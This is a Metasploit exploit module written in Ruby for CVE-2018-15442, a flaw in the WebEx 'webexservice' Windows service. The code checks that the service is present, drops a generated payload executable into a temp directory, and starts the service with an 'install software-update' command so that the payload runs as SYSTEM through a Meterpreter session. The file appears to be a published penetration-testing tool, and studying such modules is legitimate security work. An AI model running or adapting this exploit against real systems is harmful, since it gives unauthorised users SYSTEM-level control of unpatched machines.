## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, 'Name' => 'WebEx Local Service Permissions Exploit', 'Description' => %q{ This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations. }, 'References' => [ ['URL', 'https://webexec.org'], ['CVE', '2018-15442'] ], 'DisclosureDate' => "Oct 09 2018", 'License' => MSF_LICENSE, 'Author' => [ 'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>' ], 'Platform' => [ 'win'], 'Targets' => [ [ 'Automatic', {} ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => 5, 'ReverseConnectRetries' => 255 }, 'DefaultTarget' => 0 )) register_options([ OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) ]) @service_name = 'webexservice' end def validate_arch return target unless target.name == 'Automatic' case sysinfo['Architecture'] when 'x86' fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64' vprint_status('Detected x86 system') return targets[1] when 'x64' vprint_status('Detected x64 system') return targets[2] end end def check_service_exists?(service) srv_info = service_info(service) if srv_info.nil? vprint_warning("Unable to enumerate services.") return false end if srv_info && srv_info[:display].empty? vprint_warning("Service #{service} does not exist.") return false else return true end end def check unless check_service_exists?(@service_name) return Exploit::CheckCode::Safe end srv_info = service_info(@service_name) vprint_status(srv_info.to_s) case START_TYPE[srv_info[:starttype]] when 'Disabled' vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Manual' vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe when 'Auto' vprint_good("Service is set to Automatically start...") end if check_search_path return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def check_write_access(path) perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good("Write permissions in #{path} - #{perm}") return true elsif perm vprint_status ("Permissions for #{path} - #{perm}") else vprint_status ("No permissions for #{path}") end return false end def exploit begin @token = get_imperstoken rescue Rex::Post::Meterpreter::RequestError vprint_error("Error while using get_imperstoken: #{e}") end fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token if is_system? fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") if !check_service_exists?(@service_name) fail_with(Failure::NoTarget, "The service doesn't exist.") end if is_uac_enabled? print_warning("UAC is enabled, may get false negatives on writable folders.") end # Use manually selected Dir file_path = datastore['DIR'] @exe_file_name = Rex::Text.rand_text_alphanumeric(8) @exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" service_information = service_info(@service_name) # Check architecture valid_arch = validate_arch exe = generate_payload_exe(:arch => valid_arch.arch) # # Drop the malicious executable into the path # print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") begin write_file(@exe_file_path, exe) register_file_for_cleanup(@exe_file_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on fail_with(Failure::Unknown, e.message) end # # Run the service # print_status("Launching service...") res = cmd_exec("cmd.exe", "/c sc start webexservice install software-update 1 #{@exe_file_path}") if service_restart(@service_name) print_status("Service started...") else service_information = service_info(@service_name) if service_information[:starttype] == START_TYPE_AUTO if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) break if session_created? select(nil,nil,nil,1) end else fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end else fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") end end end end